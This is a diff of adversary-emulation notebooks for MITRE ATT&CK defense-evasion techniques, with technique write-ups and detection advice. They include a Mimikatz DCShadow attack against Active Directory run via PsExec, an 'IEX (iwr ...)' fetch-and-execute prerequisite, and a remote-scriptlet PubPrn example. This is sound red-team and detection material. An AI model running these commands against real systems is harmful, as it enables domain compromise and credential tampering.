@@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1205.002.ipynb b/playbook/tactics/defense-evasion/T1205.002.ipynb index f3f5c6f4..0f007797 100644 --- a/playbook/tactics/defense-evasion/T1205.002.ipynb +++ b/playbook/tactics/defense-evasion/T1205.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5372f2be", + "id": "a7558a36", "metadata": {}, "source": "# T1205.002 - Socket Filters\nAdversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage." }, { "cell_type": "markdown", - "id": "9a40180b", + "id": "53162f17", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ea247607", + "id": "c8719fd8", "metadata": {}, "source": "## Detection\nIdentify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1205.ipynb b/playbook/tactics/defense-evasion/T1205.ipynb index 25fbbd89..ae689b59 100644 --- a/playbook/tactics/defense-evasion/T1205.ipynb +++ b/playbook/tactics/defense-evasion/T1205.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "4e226ba4", + "id": "cfe7d0b6", "metadata": {}, "source": "# T1205 - Traffic Signaling\nAdversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)" }, { "cell_type": "markdown", - "id": "d4848eaa", + "id": "e4a0575e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "68057e5e", + "id": "5dbfb25e", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)" }, { "cell_type": "markdown", - "id": "63d8dbb2", + "id": "5cac4538", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1207.ipynb b/playbook/tactics/defense-evasion/T1207.ipynb index c52931c1..38146ebf 100644 --- a/playbook/tactics/defense-evasion/T1207.ipynb +++ b/playbook/tactics/defense-evasion/T1207.ipynb @@ -2,70 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "b91b5726", + "id": "dd6173f5", "metadata": {}, "source": "# T1207 - Rogue Domain Controller\nAdversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)" }, { "cell_type": "markdown", - "id": "4ca500df", + "id": "0ff7c8a4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "17b5de11", + "id": "f24fd9ba", "metadata": {}, - "source": "### Atomic Test #1 - DCShadow (Active Directory)\nUse Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.\n\n[DCShadow](https://www.dcshadow.com/)\n[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)\n\nIt will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:\nGet-ADObject -LDAPFilter '(samaccountname=)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount\n\nNeed SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.\nThe easiest is to run elevated and as a Domain Admin user.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #1 - DCShadow (Active Directory)\nUse Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.\n\n[DCShadow](https://www.dcshadow.com/)\n[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)\n\nIt will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:\nGet-ADObject -LDAPFilter '(samaccountname=)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount\n\nNeed SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.\nThe easiest is to run elevated and as a Domain Admin user.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```powershell\n$mimikatz_path = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8ab1d492", + "id": "2e428a16", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1207 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "168de41f", + "id": "12d0e27d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# starting fake DC server, as SYSTEM (required)\n$dc_output_file = \"$env:TEMP\\art-T1207-mimikatz-DC.log\"\nRemove-Item $dc_output_file -ErrorAction Ignore\n$mimikatzParam =\"`\"log $dc_output_file`\" `\"lsadump::dcshadow /object:bruce.wayne /attribute:badpwdcount /value:9999`\" `\"exit`\"\"\n$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList \"/c C:\\PSTools\\PsExec.exe /accepteula -d -s $env:TEMP\\mimikatz\\x64\\mimikatz.exe $mimikatzParam\"\n\n# wait for fake DC server to be ready...\nStart-Sleep -Seconds 5\n\n# server ready, so trigger replication (push) and wait until it finished\n& $env:TEMP\\mimikatz\\x64\\mimikatz.exe \"lsadump::dcshadow /push\" \"exit\"\n\nWrite-Host \"`nWaiting for fake DC server to return\"\nWait-Process $dc\n\nWrite-Host \"`nOutput from fake DC server:\"\nGet-Content $dc_output_file\nStart-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it\nRemove-Item $dc_output_file -ErrorAction Ignore\n\nWrite-Host \"End of DCShadow\"\n```" + "```powershell\n# starting fake DC server, as SYSTEM (required)\n$dc_output_file = \"PathToAtomicsFolder\\..\\ExternalPayloads\\art-T1207-mimikatz-DC.log\"\nRemove-Item $dc_output_file -ErrorAction Ignore\n$mimikatzParam =\"`\"log $dc_output_file`\" `\"lsadump::dcshadow /object:bruce.wayne /attribute:badpwdcount /value:9999`\" `\"exit`\"\"\n$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList \"/c 'PathToAtomicsFolder\\..\\ExternalPayloads\\PSTools\\PsExec.exe' /accepteula -d -s PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe $mimikatzParam\"\n\n# wait for fake DC server to be ready...\nStart-Sleep -Seconds 5\n\n# server ready, so trigger replication (push) and wait until it finished\n& \"PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\" \"lsadump::dcshadow /push\" \"exit\"\n\nWrite-Host \"`nWaiting for fake DC server to return\"\nWait-Process $dc\n\nWrite-Host \"`nOutput from fake DC server:\"\nGet-Content $dc_output_file\nStart-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it\nRemove-Item $dc_output_file -ErrorAction Ignore\n\nWrite-Host \"End of DCShadow\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b1495370", + "id": "c78190c4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1207 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6d6c5fef", + "id": "e217ddca", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Process -Name \"mimikatz\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2845f75d", + "id": "1b9b3c0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1207 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "9f3004b5", + "id": "5b80363d", "metadata": {}, "source": "## Detection\nMonitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete." }, { "cell_type": "markdown", - "id": "6bd1ba03", + "id": "7f603485", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can implement behavioral analytics which would indicate activity on or against a domain controller. Activity which is out of sync with scheduled domain tasks, or results in an uptick in traffic with a particular system on the network could indicate malicious activity.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -73,13 +73,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1211.ipynb b/playbook/tactics/defense-evasion/T1211.ipynb index 80f498bf..4c63c112 100644 --- a/playbook/tactics/defense-evasion/T1211.ipynb +++ b/playbook/tactics/defense-evasion/T1211.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "66fbf161", + "id": "64cfd266", "metadata": {}, - "source": "# T1211 - Exploitation for Defense Evasion\nAdversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection." + "source": "# T1211 - Exploitation for Defense Evasion\nAdversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)" }, { "cell_type": "markdown", - "id": "81c7b4d9", + "id": "4c62296c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d93793fd", + "id": "c6bd02ee", "metadata": {}, "source": "## Detection\nExploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery." }, { "cell_type": "markdown", - "id": "1d4b5c64", + "id": "d69a5f72", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to provide a variety of applications to an adversary to see what things an adversary prefers or to influence their operations.\n#### Use Case\nA defender can stand up decoy systems or processes using a wide array of applications. These applications can be hardened to test an adversary's capabilities, or easily exploited to entice an adversary to move in that direction.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1216.001.ipynb b/playbook/tactics/defense-evasion/T1216.001.ipynb index 2cc461fd..a3daa728 100644 --- a/playbook/tactics/defense-evasion/T1216.001.ipynb +++ b/playbook/tactics/defense-evasion/T1216.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b3634881", + "id": "544ffbd5", "metadata": {}, "source": "# T1216.001 - PubPrn\nAdversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S)." }, { "cell_type": "markdown", - "id": "f41196b5", + "id": "1a26efc9", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "8570373d", + "id": "3a3a9928", "metadata": {}, "source": [ "### Atomic Test #1 - PubPrn.vbs Signed Script Bypass", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "68df52cb", + "id": "31c6da2b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1216.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d6101c74", + "id": "ea4dcc2c", "metadata": {}, "source": "## Detection\nMonitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files." } @@ -42,13 +42,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1216.ipynb b/playbook/tactics/defense-evasion/T1216.ipynb index d88877cf..d58a47b6 100644 --- a/playbook/tactics/defense-evasion/T1216.ipynb +++ b/playbook/tactics/defense-evasion/T1216.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "74022e48", + "id": "6b1d4340", "metadata": {}, "source": "# T1216 - System Script Proxy Execution\nAdversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)" }, { "cell_type": "markdown", - "id": "b87e5115", + "id": "095dc6db", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5da4d533", + "id": "66189268", "metadata": {}, "source": [ "### Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "db3f6ce5", + "id": "c42ede8b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1216 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ed3a17b5", + "id": "c79571c0", "metadata": {}, "source": [ "### Atomic Test #2 - manage-bde.wsf Signed Script Command Execution", @@ -47,34 +47,34 @@ { "cell_type": "code", "execution_count": null, - "id": "52b13ccf", + "id": "6ff9e0eb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1216 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8ff47470", + "id": "43b37a7a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nset comspec=%windir%\\System32\\cmd.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9d9da065", + "id": "58e2d5b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1216 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "241d13e1", + "id": "68257118", "metadata": {}, "source": "## Detection\nMonitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files." }, { "cell_type": "markdown", - "id": "ff6a2fef", + "id": "0df42386", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can look for anomalies in how commands are being executed on a system. This can expose potentially malicious activity.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -82,13 +82,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.001.ipynb b/playbook/tactics/defense-evasion/T1218.001.ipynb index b7fef874..0995541d 100644 --- a/playbook/tactics/defense-evasion/T1218.001.ipynb +++ b/playbook/tactics/defense-evasion/T1218.001.ipynb @@ -2,50 +2,50 @@ "cells": [ { "cell_type": "markdown", - "id": "5b513cd4", + "id": "002decfa", "metadata": {}, "source": "# T1218.001 - Compiled HTML File\nAdversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)" }, { "cell_type": "markdown", - "id": "8c20c649", + "id": "f018a96f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2950bc04", + "id": "2f632960", "metadata": {}, - "source": "### Atomic Test #1 - Compiled HTML Help Local Payload\nUses hh.exe to execute a local compiled HTML Help payload.\nUpon execution calc.exe will open\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The payload must exist on disk at specified location (#{local_chm_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.001\\src\\T1218.001.chm) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path 